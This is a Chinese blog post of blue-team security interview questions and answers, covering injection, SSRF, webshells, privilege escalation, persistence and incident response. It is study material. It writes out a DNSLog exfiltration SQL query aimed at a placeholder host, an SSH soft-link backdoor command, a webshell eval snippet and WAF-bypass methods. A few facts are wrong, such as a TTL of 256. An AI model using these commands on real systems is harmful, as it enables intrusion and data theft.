题目持续收集…
新博客地址:网安专题博客
如果有新题目,欢迎直接在文章下【评论】或【留言板】模块留言,我会即时收到邮件提醒。我来收集整理答案!
1. 题目收集比答案快太多了,有些题目还没来得及收集答案,欢迎各位大佬在评论区提供答案
2. 如果收集到的答案有不完整的或者错误的,欢迎各位大佬指正
3. 如果有伙伴面试遇到的问题这里没有整理到的,欢迎留在评论区一起讨论答案
护网面试(蓝队)
SQL 注入的原理、危害及防御措施
SQL 注入的原理:原本的 SQL 语句在与用户可控的参数经过了如拼接、替换等字符串操作后,得到一个新的 SQL 语句并被数据库解析执行,从而达到非预期的效果。
SQL 注入的危害:由于 SQL 注入是执行了非预期的 SQL 语句,所以有可能导致数据库中的大量数据泄露、甚至被删库,如果数据库开启了文件读写权限,还有可能导致服务器被写入木马等。
SQL 注入的防御:SQL 注入的防御一般从三个方向开展:1. 集成安全防御工具,如 WAF 等。通常可以拦截大部分的攻击流量,但并不绝对,存在一定的绕过风险;2. 黑白名单限制。黑名单主要体现在参数格式、参数长度、特殊字符、转义或编码后的特殊字符等,但是由于绕过方式层出不穷,黑名单很容易出现纰漏,白名单主要应用在对动态表列名、排序等场景下,仅允许指定的参数通过,安全性较高;3. 预编译SQL。也是目前最流行最有效的方案,几乎所有的持久层框架都是使用这种技术。预编译其实就是 SQL 引擎预先对 SQL 语句进行分析编译,然后再去填充参数,目前来说这种技术是可以完全防御 SQL 注入的。
SQLMap 如何 Post 请求发起扫描?
SQLMap 发送 Post 请求通常有三种方式:
- 使用
--data
参数,参数格式与 URL 参数相同,如:sqlmap -u http://xxx.xxx.xxx/login.html --data "id=1&name=xxx"
;- 保存 Post 请求包(通常使用
bp
, 假设保存为post.txt
),然后使用-r
指定请求包文件,如:sqlmap -r "C:\Users\Administrator\Desktop\post.txt"
;- 扫描
form
表单,如:sqlmap -u http://xxx.xxx.xxx/login.html --forms
SQLMap 常用的参数
- -u: 注入目标
- –data: Post 注入的参数
- –form: 表单注入
- -r: 文件读取注入(常用 Post 请求注入)
- –dbs:列出库
- –tables:列出表
- –columns: 列出列
- -D:指定库
- -T:指定表
- -C:指定列
- –os:当前系统
- –current-db:当前数据库
- –current-user: 当前用户
- –level:扫描等级
- –delay:延迟
- –sql-shell:写入 shell
- –tamper:使用指定插件(常用绕 WAF)
- –cookie:指定 cookie
- –random-agent:随机 UA
- –user-agent: 指定UA
SQLMap 的 --sql-shell 和 --os-shell 的区别
--sql-shell
是在目标数据库上打开交互式的 SQL shell,可以执行 SQL 命令。只能在已经注入目标数据库后使用
--os-shell
是在目标服务器上打开交互式 shell,可以在目标服务器上执行系统命令,但是需要足够高的权限
SQL 注入的流量有什么特征
- 参数长度异常。大多数的 SQL 注入参数由于需要截断、拼接、构造等操作,会导致参数的长度比较长;
- 特殊字符。大多数的 SQL 注入会包含如
'
、"
、)
、;
、#
、--
、<!--
、/**
等用于截断或者注释 SQL 语句的特殊字符;- 参数编码。对参数进行
url
、base64
等类型的编码,以及类似于宽字节注入常用的%df5c
等编码方式,都是常见的绕过手段;- SQL 关键字。通常情况下正常的 SQL 参数是不会包含如
SELECT
、UNION
、ORDER BY
、UPDATEXML
、CONCAT
、TABLE
、DATABASE
、SLEEP
等 SQL 关键字的,如果流量中出现了这类关键字就需要留意了。- 大量的请求。短时间之内涌入大量的请求,有很大概率是扫描工具发起的流量,需要留意识别。
SQL 报错注入的常用函数
常见的用于报错注入的函数 3 类:
- XML 文档操作相关的函数:
updatexml()
、extractvalue()
等- 数学计算相关的函数:
floor()
、exp()
等- 图形处理相关函数:
polygon()
、mutipolygon()
等
SQL 注入空格被过滤如何绕过?
- 内联注释绕过
- 编码绕过
%09
:制表%0a
:换行%0c
:分页%20
:空格%0d
:回车
SQL 注入无回显的情况下,如何利用 DNSLog
以 MySQL 为例,借用
load_file
函数,构造如:select load_file(concat('\\\\', (select database()), '.xxxx.dnslog.cn\\xxx'))
的语句,即可将数据库名回显到 DNSLog 上。如果遇到字符无法回显的问题,可以尝试
hex()
转为十六进制;如果遇到字符太长无法完整回显的问题,可以尝试
substr
截断分段回显。
Base64 、 Base32 、Base16 的区别
Base 64 是由 64 个字符(大写字母 26 个 + 小写字母 26 个 + 数字 10 个 + 特殊字符 2 个(
/
、+
)) 与 填充符(=
)构成
Base 32 是由 32 个字符(大写字母 26 个 + 数字 6 个(2
、3
、4
、5
、6
、7
))构成
Base 16 就是 16 进制,由 16 个字符(大写字母 6 个 (A
、B
、C
、D
、E
、F
)+ 数字 10 个)构成
SQL 宽字节注入的原理
宽字节注入的根本原理是:代码层与数据库层的编码不一致,并且宽字节本身有“吞”ASCII字符的现象。
具体例如:在 SQL 注入时,尝试使用单引号
'
逃逸时,发现被代码层自动加上了转义符号\
,变成了\'
,如果代码中自行添加的转义符号\
为 ASCII 编码,那么\'
的十六进制就是%5C%27
,这时候,如果参数使用ß'
,十六进制就是%DF%27
,经过代码中自动为%27
加上的转义符号%5C
之后,参数就变成了%DF%5C%27
,而到了 MySQL 中,如果 MySQL 使用的是 GBK 编码(宽字节的一种),则会将%DF%5C
当做一个宽字节,剩下的%27
当做一个字符,这就导致了转移符号%5C
被%DF
吞掉,组成了一个新的字符,而单引号%27
却逃过了%5C
的转义。
MySQL 5.0 以上和 5.0 以下的区别
- MySQL 5.0 引入了存储过程、触发器、视图的概念
- MySQL 5.0 支持了
information_schema
表,这张表中包含了schemata
、tables
、columns
等多张表(实际上是视图),存放了数据库中的库信息、表信息、列信息等。在 SQL 注入时可以利用此表快速获取表结构等信息。- MySQL 5.0 从以前的多用户单操作变为了多用户多操作
SSRF 是什么?原理是什么?
SSRF 中文名称:服务端请求伪造。是指在攻击者无权访问服务器B,服务器A有权访问服务器B的情况下,攻击者利用服务器A的漏洞,伪造成服务器A的身份向服务器B发送请求。
通常情况下,是由于服务器A中提供了类似于通过指定 URL 远程读取文件的功能,而 URL 又未做任何校验,攻击者便构造特殊的URL,以服务器A的身份发起请求。大多数情况下,是由于为服务端提供了从其他服务端获取数据的功能,但并未对目标地址进行限制。
SSRF 的危害是什么?如何防御?
SSRF 是通过伪造有权访问的服务器的身份去访问原本无权访问的服务器。
其危害主要表现为:
- 服务器被控制,可能被当做代理服务器进行其他恶意行为
- 如果访问到的是内网服务器,可能会直接扫描到内网端口和服务,访问到内网资源,横向到其他内网机器
- 上传恶意脚本等
如何利用 SSRF 判断目标主机存活端口
SSRF 中,使用
dict
与http
协议可以探测到目标主机是否存活与端口开放情况。如:
?url=dict://xxx.xxx.xxx.xxx:8080
XXE 的原理和修复建议
XXE 中文名称:XML 外部实体注入。其原理是:XML本身是允许自定义实体的,而当服务端未经管控直接解析了来自客户端的XML数据,就会造成自定义的XML 外部实体解析,从而造成文件读取、命令执行、内网扫描等危害。
修复建议:1. 禁用XML外部实体; 2. 验证用户输入内容,对
SYSTEM
、PUBLIC
、ENTITY
等关键字进行过滤;3. 使用成熟的 WAF 之类的安全工具配置 XXE 输入规则。
XSS 权限驻留
XSS 权限驻留一般是将可以获取用户凭证的 XSS 代码写入网站登录后的页面中,通常会结合
webshell
或者 存储型XSS。这样,当其他用户登入网站后,就会触发 XSS 代码从而将网站cookies
发送到指定位置。
文件上传漏洞的原理
文件上传漏洞是在文件上传处,服务端未对文件的格式和内容进行严格的验证,导致恶意文件上传(如
webshell
、可执行文件、压缩炸弹等),从而造成服务端被远控、命令执行、资源耗尽等风险。
文件上传攻击的流量特征
- 正常文件上传的特征。如
Content-Type
、upload
等,大多数情况会是 POST 请求;- 特殊的文件后缀。如脚本语言后缀(
.php
、.js
、.sh
、.py
等)、动态网页后缀(.asp
、.jsp
等)、可执行文件后缀(.exe
等)、代码包后缀(.jar
、.war
等)、其他特殊后缀(.php.123
、py.png
等疑似利用解析漏洞的后缀)Content-Type
与文件后缀不匹配。这是一种比较常见的文件类型绕过手段。- 特殊符号与编码。如
\
、00
、\0
等截断符号Data
的大小偏大。尤其是上传文件为压缩文件时。
如何区分扫描流量和手动流量
扫描流量通常会至少有以下 4 个特点之一:1. 数量大;2. 频率快;3. 有规律;4. 持续久(在某些场景下,攻击者为了防止被发现而刻意降低了请求频率后,比较持续且有规律的流量)。除上述之外,还有一种比较常见的扫描流量,就是较多的
UCP
(端口扫描)或者HTTP HEAD
(目录扫描) 之类的请求,部分扫描工具为了提高速度和节约带宽通常会使用此类连接。
挖矿病毒的特征(如何识别)及处理方式
挖矿病毒最典型的特征就是会长时间占用大量的 CPU 资源。
挖矿病毒的处理方式通常按照如下流程:
- 任务管理器查看 CPU 占用情况(Linux 用
top
命令与ps
命令),找出 CPU 长时间占用过高的进程,大概率就是挖矿木马(别急着直接kill
,记住进程名);- 记住进程名,定位进程所在位置,或许可以收集到一些相关信息(可以
kill
它了);- 分析安全日志、历史命令等,查找木马来源、运行时间、账户等;
- 检查计划任务、自启服务、开机启动项等是否有异常任务;
- 检查登录记录、隐藏账户、SSH 认证等是否异常,防止木马留下后门;
- 检查防火墙、杀毒软件等是否被篡改配置、信任指定端口、加入白名单或开始静默模式等;
- 查看进程观察木马被重启,如重启,重新排查计划任务等;
- 如不会重新启动(别急着高兴),最重要的一点,还要防止木马被再次写入才能以绝后患,所以还需要进一步对服务器进行完整扫描查杀,防止木马被再次写入。
发现 WebShell 后如何处理
- 如果有条件,第一步尽量先对服务器进行快照,保留案发现场
- 记录
webshell
的创建时间、修改时间、最近访问时间等信息,确定被入侵的大致时间- 查看
webshell
源码,进一步收集webshell
的连接方式等- 删除
webshell
,必要时可以对其中的代码进行备份留存- 根据时间范围,结合连接方式,重点排查此时间范围附近的 Web 日志,还原攻击路径
- 尝试复现漏洞,梳理攻击过程,并对其进行修复
- 对系统进行全面检查,如是否被写入其他
webshell
(可借助 D 盾扫描工具)、可疑文件、克隆用户、计划任务等
如何根据攻击者 IP 溯源到个人信息?
- 利用在线网站(如
ip138.com
)查询 IP 归属地- 通向利用在线工具,通过 IP 反查功能查询曾绑定过的域名
- 如果绑定了域名,通过 ICP 备案系统(
https://beian.miit.gov.cn/#/Integrated/index
),查询备案信息,备案信息中会包含域名主办单位(如果是个人备案,会是个人姓名)、单位性质、备案号、备案时间等信息- 使用
whois
等域名查询工具,进一步收集域名所属人的邮箱、电话等信息- 根据得到的姓名、地址、邮箱、电话等信息,从社交网络中(如 QQ、微信、知乎、博客、论坛等)进一步收集个人信息
- 如有条件,还可以通过IP地址、域名,结合已经收集到的个人信息对目标IP进行反渗透等。
WireShark 常用的过滤规则
ip.src eq 192.168.0.1
: 指定的来源IPip.dst eq 192.168.0.1
: 指定的目标IPtcp.srcport eq 8080
:来源端口等于 8080tcp.port gt 3000
:来源或目标端口大于 3000tcp.len > 100
:TCP 数据包大于 100http.request.method == "GET"
:HTTP 请求类型为 GEThttp.request.method == "POST" && http contains "HTTP/1.0 200 OK"
:HTTP 请求类型为 POST 并且包含指定内容http.reqeust.uri matches ".php$"
: 基于正则匹配的过滤
遇到 DOS 如何防范?
- 利用负载均衡等设备有效控制流量,最大程度削弱 DOS 攻击
- 关闭不必要的端口,或在路由器、防火墙上拦截过滤不必要的端口
- 检查 IP 来源,使用 IP 黑名单对伪造 IP、已经确定的攻击方 IP 进行屏蔽
- 限制 SYN/ICMP 的最大流量
DOS、DDOS、CC 的区别
DOS 中文名称拒绝服务,顾名思义,就是使服务器无法响应用户的请求。最基本的 DOS 攻击手段,就是利用大量的请求占用服务器资源,从而导致服务器无法响应客户端。
DDOS 中文名称分布式拒绝服务,是 DOS 的一种延伸,可能会利用到互联网的开放性,控制大量的主机来对某一个目标进行攻击,耗尽目标服务器的带宽或者处理器资源等。
CC 是 DDOS 众多攻击手段中的一种,也是最常见的一种针对网站的攻击方式。主要是针对 Web 服务第七层协议发送攻击,通过端口扫描等途径在互联网上搜索大量的匿名代理,通过匿名代理对目标服务器发送正常的HTTP请求。主要特点是:持续性强、强度高、难防范(因为都是真实有效请求),难溯源。
Windows 和 Linux 的日志文件分别存放在什么位置
Windows 的日志默认存放在
%systemroot%\system32\config
目录下。查看日志的话可以通过运行eventvwr.msc
打开【事件管理器】来查看。
- 安全日志:
SecEvent.evt
- 系统日志:
SysEvent.evt
- 应用日志:
AppEvent.evt
Linux 的日志默认存放在
/var/log
目录下。
/var/log/message
: 内核消息及各种应用程序的公开日志(包括启动、IO错误、网络错误等)/var/log/cron
:周期性计划任务日志/var/log/lastlog
:用户最近登录事件/var/log/wtmp
:用户登录、注销及系统启动、停机事件/var/log/btmp
:失败的登录尝试及验证事件/var/log/dmesg
:引导过程中的各种事件信息/var/log/maillog
:电子邮件活动日志
入侵检测的思路
Windows 入侵排查
- 检查系统账号安全
- 服务器弱口令
- 服务器远程桌面协议(RDP 协议,默认 3389)
- 服务器账号检查(新增账号、隐藏账号、克隆账号、其他可疑账号)
- 检查异常端口、进程
- 检查启动项、计划任务、服务
- 检查系统版本、可疑目录及文件(
Users
、Recent
)- 检查系统日志(
4624
:登录成功、4625
:登录失败、4672
:超管登录、4720
:创建用户)Linux 入侵排查
- 检查账号安全(密码文件、影子文件、特权用户、远程用户、sudo权限用户、来宾用户等
- 检查历史命令(远程登录命令、创建用户命令、删除用户命令、删除文件命令等)
- 检查异常端口、进程
- 检查启动项(
runlevel
)、定时任务(crontal -l
)、服务- 检查异常文件
- 检查系统日志(
/var/log/secure
等)
WebLogic 是哪一个端口?
WebLogic 的默认端口是 7001
NMap 常用的参数
-sP: Ping 扫描
-sS: TCP/SYN 扫描
-A:OS 检测和版本检测
常见的端口和与之对应的漏洞
- 21:FTP 服务漏洞
- 22:SSH 弱口令
- 25:SMTP 邮箱账号爆破
- 80:OWasp TOP 10 漏洞
- 445:MS17010 漏洞
- 3389: RDP 远程代码执行
- 6379: Redis 弱口令、Redis 未授权访问
- 3306: MySQL 弱口令、UDF 提权、任意文件写入
- 1433: SQLServer 弱口令
- 1521: Oracle 弱口令
- 7001: weblogic 弱口令、文件上传、反序列化
- 8080: Tomcat 默认端口
冰蝎、菜刀、蚁剑、哥斯拉的特点
菜刀:ASP语言编写的 Windows 远控管理软件,年代比较久,鼻祖级别的,曾经风靡一时,现已经逐渐被其他三个所取代
冰蝎:基于 Java 编写,有跨平台特性,流量动态加密(AES128 + 随机密钥)
哥斯拉:基于C#编写,流量加密能过大部分静态查杀和WAF(查杀和WAF也在更新,随时就可能不行了),自带的各种插件功能异常强大
蚁剑:基于Java编写跨平台远控管理工具,模块化开发,代码简单易懂,可扩展性强
冰蝎、菜刀、蚁剑、哥斯拉的流量特征
菜刀: 流量特征主要表现在HTTP协议上,使用HTTP协议通信,控制命令和数据都通过POST请求传输。因此,可以通过HTTP请求头中的User-Agent、Referer等信息进行识别
蚁剑: 流量特征主要表现在数据包的加密方式和数据类型。蚁剑使用了AES加密算法对数据进行加密,同时还使用了自定义的二进制协议,在通信中传输各种类型的数据
冰蝎: 流量特征主要表现在数据包中的特殊标记和传输的数据类型。冰蝎的数据包中包含了特定的标记,如"flag=0x52415631",用于标识该数据包是冰蝎的控制命令。此外,冰蝎还使用了一种自定义的二进制协议,在通信中传输各种类型的数据。
哥斯拉: 流量特征主要表现在数据包的特殊标记和数据类型。哥斯拉的数据包中包含了特定的标记,如"XORHEAD"和"XORBODY",用于标识该数据包是哥斯拉的控制命令。此外,哥斯拉还使用了一种自定义的二进制协议,在通信中传输各种类型的数据
冰蝎的通信原理
- 攻击者发送连接请求至服务端,建立 SSL/TLS 协议的加密通道,使用HTTP协议进行数据传输,并且对数据进行了加密处理,保证通信内容的机密性
- 服务端返回一个随机数作为密钥(目前是 16 位 MD5),存储在
$_SESSION
中返回给客户端- 客户端输入待执行命令,使用上述返回的密钥进行加密(目前是 AES 128),发送至服务端
- 服务端解密,执行相关命令,并加密执行结果(目前是 AES 128)
- 客户端对执行结果解密
- 固定的请求字节头(
dFAXQV1LORcHRQtLRlwMAhwFTAg/M
解密后:@error_reporting;\r
)和固定的响应字节头(TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd
解密后:{"status":"c3VjY2Vzcw==","msg":"
)- 默认连接密码
rebeyond
,冰蝎 4.0 有一串固定密钥e45e329feb5d925b
,是默认连接密码的 32 位 MD5 值的前 16 位
冰蝎的流量特征
- Accept :
Accept: application/json, text/javascript, */*; q=0.01
- Content-Type :大量的
Content-type: Application/x-www-form-urlencoded
- User-Agent : 随机的
- Port:端口通常在 49700 附近
- 代码:webshell 固定代码,不同开发语言的 webshell 代码不同。如
$post=Decrypt(file_get_contents("php://input")); eval($post)
- 连接:冰蝎为了减少开销,默认使用长链接,请求头和响应头中会带有
Connection: Keep-Alive
Linux 下的敏感文件或目录
认证类:
/etc/passwd
、/etc/shadow
、/root/.ssh/id_rsa
、/root/.ssh/id_rsa.pub
、/root/.ssh/authorized_keys
等配置类:
/etc/ssh/sshd_config
、/etc/crontab
、/etc/apache/httpd.conf
、/var/lib/mysql/my.cnf
等日志类:
/var/log
、/root/.bash_history
、/root/.mysql_history
等
TCP/IP 的七层模型
常见的协议有哪些
- HTTP:超文本传输协议,用于在 Web 上传输数据。
- HTTPS:在 HTTP 基础上添加了 SSL/TLS 加密的安全协议
- FTP:文件传输协议,用于在网络上进行文件传输。
- TCP/IP协议:是Internet上使用的最常见的协议之一,TCP是传输控制协议,IP是Internet协议
- DNS协议:是域名系统协议,用于将域名转换为IP地址。
- SSH协议:是安全壳协议,用于通过加密协议在网络上安全地传输数据。
- SMTP协议:是邮件服务器和邮件客户端之间通信的协议,它定义了电子邮件传输的格式。
- POP3协议:是邮件客户端从邮件服务器上接收邮件的协议。
- IMAP协议:是邮件客户端从邮件服务器上接收邮件的协议,它比POP3更加强大和灵活。
常见的中间件解析漏洞有哪些
Web 服务器解析漏洞:包括 Apache、Nginx、IIS 等服务器的解析漏洞
中间件解析漏洞:包括 Tomcat、Jboss、WebLogic 等中间件的解析漏洞
CSRF 漏洞和 SSRF 漏洞的区别
CSRF漏洞是一种客户端漏洞。攻击者通过在用户已经登录的网站上,诱导用户点击恶意链接或提交恶意表单,从而实现对用户账号的操作。攻击者通过伪造请求,让用户在不知情的情况下执行某些操作。
SSRF漏洞则是一种服务器端漏洞。攻击者可以通过构造恶意的请求,使服务器发起对其他内部或外部服务的请求,从而获取一些敏感信息或者攻击其他系统
CSRF 漏洞如何防护
- 验证请求来源:在服务器端对请求进行校验,只接受来自信任的源的请求,如 Referer 校验、CSRF Token 校验等;
- 设置 SameSite: 可以限制 Cookie 的跨站传递,一般设置为 Strict 或 Lax;
- 双因子验证:关键性操作引入双因子验证,再次确认用户身份,如:修改密码、转账时短信验证码、再次输入用户密码、人脸识别等;
- 防止 XSS:很多场景下,XSS 往往是和 CSRF 会形成组合攻击,防止 XSS 可以有效降低用户 Cookie 泄露的风险,从而增大 CSRF 的利用难度。
为什么 CSRFToken 可以防御 CSRF
CSRFToken 是服务器为用户随机生成一个唯一的 token ,用户发起请求时,服务端先将 CSRFToken 作为请求头返回给客户端,客户端携带 CSRFToken 再发送请求,服务端验证 CSRFToken 是否与存储的相同,不同则拒绝请求。
因为 CSRF 攻击是伪造了被攻击网站的 cookie 认证机制,而 CSRFToken 是在请求中加入的一个由服务器生成的随机 token,攻击者即使伪造了 cookie 也无法伪造这个 token,从而无法成功发起 CSRF 攻击。
如何利用 CSRF 获取用户数据?
CSRF 是伪造用户请求执行用户原本没有意愿去执行的操作,但是不能直接获取用户数据,如果要获取数据,需要结合其他手段,如 XSS、利用 CSRF 伪造用户身份发送钓鱼邮件展开社会工程学攻击等。
有使用过哪些安全设备
还未进入目标站,如何手工快速判断目标站操作系统
- HTTP 响应头。如果响应头中包含"Server: Microsoft-IIS",则很可能是运行着IIS Web服务器的Windows系统;
- TTL值。如果TTL值为64,则很可能是 Linux ;如果TTL值为128,则很可能是Windows系统;如果TTL值为256TTL=256,则很可能 UNIX;如果TTL值是32,则很可能是 Windows 95/98
- MAC地址。通过 MAC 地址的前几位字节推测网络设备厂商,从而推测操作系统
- 扫描工具。NMap 等
TTL 的值判断操作系统准确吗?
不准确,只能进行粗略判断。
TTL 是 Time To Live 的缩写,表示数据包在被路由器丢弃之前允许通过的网段数量,在互联网络中,IP 数据包每被路由器转发一次,就会减少 1。 比如 TTL 的值如果为 52,就可能是默认 TTL 为 64 的 Linux 主机经过 12 次路有跳转之后到达,也有可能是默认 TTL 为 128 的 Windows 系统主机经过 76 次路由跳转。当然根据经验,大概率是 Linux 系统。TTL 的最大值为 255,同时 TTL 的默认值也是可以在操作系统中进行修改的。
TCP 三次握手和四次挥手分别作了什么
TCP 三次握手,确保双方连接建立成功:
- 客户端发送 SYN 包给服务器,请求建立连接
- 服务器收到 SYN 包,发送 SYN + ACK 包给客户端,同意建立连接
- 客户端收到 SYN + ACK 包,发送 ACK 包给服务器,建立连接成功
TCP 四次挥手,确保连接断开时数据的可靠传输:
- 客户端发送 FIN 包给服务器,请求关闭连接
- 服务器收到 FIN 包,发送 ACK 包给客户端,收到客户端的关闭请求
- 服务器发送 FIN 包给客户端,准备关闭连接
- 客户端收到 FIN 包,发送 ACK 包给服务器,收到服务器的关闭请求,断开连接
TCP 和 UDP 的区别
TCP 是传输控制协议,是一种面向连接的协议,提供了数据传输的可靠性和有序性。适用于需要可靠数据和有序数据传输的场景。如文件传输,电子邮件等
UDP 是用户数据报协议,是一种无连接的协议,数据包只负责发送,不考虑是否到达,也不考虑到达顺序,但拥有较低的延迟和较高的吞吐量。适用于需要快速数据传输和实时数据传输且不需要保证可靠性的场景。如视频流,在线直播等
WAF 的工作原理
WAF(Web 应用程序防火墙)是用户保护 Web 应用程序免受网络攻击的一种特殊防火墙,其工作原理主要为:
- 拦截 HTTP 请求:WAF 位于 Web 应用与客户端之间,通过拦截所有 HTTP 请求来保护 Web 应用程序
- 分析请求:WAF 会对请求(包括 HTTP 头、请求方法、请求内容等)使用规则引擎来检测攻击特征
- 阻止攻击:如果检测到攻击特征,WAF 将阻止请求并返回错误响应或重定向到安全页面
- 记录报告:WAF 会记录所有的 HTTP 请求和响应,并生成报告,以供管理员分析和审查
常见的绕过 WAF 手段
- 旁站绕过:例如 https 协议改成 http 协议,或者很多网站都会有备用域名,用备用域名试试
- 伪装身份:例如 修改 XFF 为可信 IP(如 127.0.0.1),伪装 UA,伪装成爬虫工具等
- 规则绕过:双写参数、大小写替换、编码转换、请求方式转换、注释、空白符、通配符绕过等
- 流量绕过:大量的参数个数、大量的参数长度、大体积的数据包、条件竞争等
- IP 绕过:如果站点配置的是云 WAF,找到真实服务器的 IP 直接访问也有可能绕过 WAF 的检测
文件上传如何绕过 WAF
- 后缀名黑名单绕过、图片隐写绕过、大小写、双写、文件名编码绕过等,可配合解析漏洞
- 空格、00截断、换行、制表符等特殊符号绕过
- 垃圾字符绕过(增加文件大小等)
- 多文件绕过(多个参数名、多个 form-data 、多个 content-disposition 等
- 条件竞争绕过
SQL 注入如何绕过 WAF
- 大小写、双写绕过
- 编码绕过(十六进制、URL编码、Unicode编码、00、0a 等)
- 注释绕过
- 等价函数替换绕过,
- 二次注入绕过
- 宽字节注入绕过
- 垃圾字符绕过(增加传输内容大小、参数数量等)
- 分块传输绕过(
Tranfer-Enconding: chunked
)sqlmap --tamper
工具绕过- 更改请求方式绕过
常见的反序列化漏洞
Commons-Collections
反序列化漏洞Jackson
反序列化漏洞XStream
反序列化漏洞Fastjson
反序列化漏洞
常见的中间件漏洞
Tomcat
弱口令、Put 上传漏洞、反序列化漏洞等WebLogic
反序列化漏洞、弱口令等Redis
未授权漏洞等Apache
解析漏洞 等
常见的未授权访问漏洞
Docker
未授权访问
Durid
未授权访问
Elasticsearch
未授权访问
JBoss
未授权访问
Redis
未授权访问
Weblogic
未授权访问
常见的逻辑漏洞
- 越权访问。水平越权(也称为横向越权)、垂直越权(也称为纵向越权)
- 支付漏洞。0 元购、负价格、四舍五入薅羊毛、条件竞争突破等
- 暴力破解。用户名暴力枚举、密码爆破、脱敏信息利用查询条件爆破等
- 验证码问题。验证码复用、验证码爆破、验证码可预测
- 认证绕过。前后端校验不一致、仅前端校验状态码
Windows 常见的提权方式
- 系统内核漏洞提权
- 利用 Windows 服务提权
- 利用 Windows 计划任务提权
- 绕过 UAC 提权(DLL 劫持、环境变量劫持、启动白名单劫持等)
- 利用工具(如
Mimikatz
)获取令牌提权- DLL 劫持提权
Linux 常见的提权方式
- 系统内核漏洞提权
- SUID 提权
- 系统服务提权
- 环境变量提权
UAC 绕过提权的原理
UAC 绕过的常见方法有:DLL 劫持、环境变量劫持、白名单劫持、注册表/计划任务利用、内核漏洞利用、msf 一键绕过等。
其原理基本一样,都是调用操作系统中原本高权限(或者白名单中)的系统任务,然后将要执行的文件加入其中的调用链,来欺骗 UAC 让 UAC 以为是系统高权限用户(或者白名单中)的任务在执行,从而绕过 UAC 限制。
UDF 提权的原理
UDF 是数据库中为用户提供的自定义函数功能,对数据库原有的功能进行扩充。攻击者可以构造包含恶意代码的 UDF,写入数据库中,会保存在指定的文件夹下,然后在 SQL 语句中,声明引入的这个 UDF,如果数据库是以管理员账号运行的,那么攻击者就可以借此获的管理员的权限,从而提权成功。
SUID 提权的原理
SUID 是一种二进制程序的特殊权限,可以让程序的执行者拥有属主权限。所以,找到一些属主为高权限的且拥有 SUID 权限的命令,然后执行它,就可以达到提权的效果。常见可以 SUID 提权的命令有
bash
、find
、more
、less
、cp
、vim
等
SUDO 提权的原理
SUDO 实际上就是一个属主为
root
,执行权限为s
的可执行文件,并且增加了一些检查配置、验证ruid
等等操作来保证安全性。
环境变量劫持提权的原理
环境变量劫持通常和 SUID 提权配合利用,在执行某个命令时,系统是会按照环境变量中配置的顺序搜索这个命令。
环境变量劫持,就是将要调用的程序路径添加到环境变量配置列表靠前的位置,让它优先搜索到我们添加的命令而不是原本的命令。
而这个我们添加到环境变量中的命令,通常会结合 SUID,是一个拥有 SUID 权限、root 身份的程序。
DLL 劫持的原理
DLL 是微软公司提供的动态链接库,里面存放一些共享代码。所谓动态链接,就是当可执行文件调用到 DLL 内的函数时,Windows 才会将 DLL 加载,当程序有需求时,对应的函数才会链接。如此来降低存储器的资源浪费。
如果在一个进程加载一个 DLL 时没有指定 DLL 的绝对路径,那么 Windows 就会去按照顺序搜索特定目录下的 DLL,而如果将一个恶意的 DLL 放置在正常需要加载的 DLL 的目录之前,就能优先加载恶意 DLL,从而实现劫持。
DLL 加载的顺序:
- 进程对应程序所在目录
- 当前目录
- 系统目录(
GetSystemDirectory
)- Windows 目录(
GetWindowsDirectory
)- 环境变量
PAM 软链接提权的原理
PAM 是一个可插拔式认证模块。PAM 首先会加载配置文件
/etc/pam.d
(优先)、/etc/pam.conf
,然后调用认证模块,一般存放在/lib/security/
或/lib64/security/
中(文件格式一般为pam*_so
)进行安全认证,用户访问服务器时,服务器的某个服务程序将用户请求发送到 PAM 模块认证(查看某个模块是否支持 PAM 可以使用ls /etc/pam.d
查看)软连接是一个特殊文本文件,包含另一个文件位置信息(类似于 Windows 的快捷方式)
SSH 软连接是 Linux 经典维权方式之一,涉及到一个
pam_rootok.so
模块。这个模块的功能是如果用户的UID为0,则直接成功。当/etc/pam.d/ssh
文件配置了auth sufficient pam_rootok.so
时,可以免密登录。所以,只要在被控端执行类似
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=1234
的命令建立 ssh 软连接后门,PAM 就会根据软连接名称到/etc/pam.d
目录下寻找对应的 PAM 认证文件,由于软连接名称为su
,所以认证文件就被替换成了/etc/pam.d/su
,而su
中默认是配置了auth sufficient pam_rootok.so
,从而导致/usr/bin/sshd
可以免密登录
Windows 常见的权限维持方式
username$
隐藏账户维权- 注册表克隆账户维权
Shift
后门维权(未登录的情况下默认system
账户打开)- 启动项维权(系统启动文件夹、组策略启动脚本、注册表启动项
- 计划任务维权
- 服务维权(隐藏服务维权)
Linux 常见的权限维持方式
passwd
、shadow
文件增加用户维权useradd
添加提权用户维权SUID
维权(chmod +s
)SSH
软连接维权- 公私钥维权
- 计划任务维权
黄金票据和白银票据的区别和利用方法
黄金票据是利用 Kerberos TGT 信息伪造的票据,TGT 是由 AS 颁发的包含用户身份和 TGS 密钥等信息的票据,伪造黄金票据可以允许攻击者获取对任何服务的管理员权限;
白银票据是利用服务账户信息伪造的票据,可以通过获取 Kerberos 中服务账户的 NTML 哈希来生成,伪造白银票据可以允许攻击者获取特定服务的权限
常见的 WebShell 管理工具
菜刀、蚁剑、冰蝎、哥斯拉
常见的 WebShell 检测工具
河马、D盾、牧云
LM Hash 和 NTML Hash 的区别
LM Hash 是早期 Windows 操作系统使用的散列加密算法,本质为 DES 算法,加密原理是将明文口令转为大写 16 进制字符,然后拆分成 2 组 7 字节(不足 14 字节时用 0 补全),然后转为 2 进制,再次拆分为 8 组 7 bit 位,末尾 0 补全,转换为 16 进制得到 2 组 8 字节编码,分别作为密钥对固定字符串
KGS!@#$%
进行 DES 加密得到密文(这里的固定字符串与公开的加密算法,也称为了可以破解的根本原因)NTML Hash 是 Windows 操作系统为了提高安全性同时保证兼容性而设计的加密算法,本质为 MD4 算法,加密原理是将明文口令的 16 进制转为 Unicode 格式后做 MD4 加密,得到一个 32 位的 16 进制字符串密文
内网的信息收集思路
- IP 信息收集(本机IP,网段,网关,DNS等)
- 操作系统信息收集(Windows 还是 Linux,什么版本,是否有可利用的已知内核漏洞,补丁是否更新等)
- 服务软件信息收集(MySql,Redis,Tomcat,杀软等)
- 计划任务、服务、进程等信息收集
- 端口开放信息收集
- 域信息收集(域控,域组,域内用户)
- 其他信息收集(日志、文件等,可能或包含口令等敏感信息)
- 也可以直接使用脚本、工具一键收集(NetBIOS、ScanLine、NMap 等)
常用的反制手段
- 蜜罐诱导(诱导攻击,收集攻击IP、攻击手法等)
- 反向钓鱼(主动出击,反向钓鱼获取关键信息)
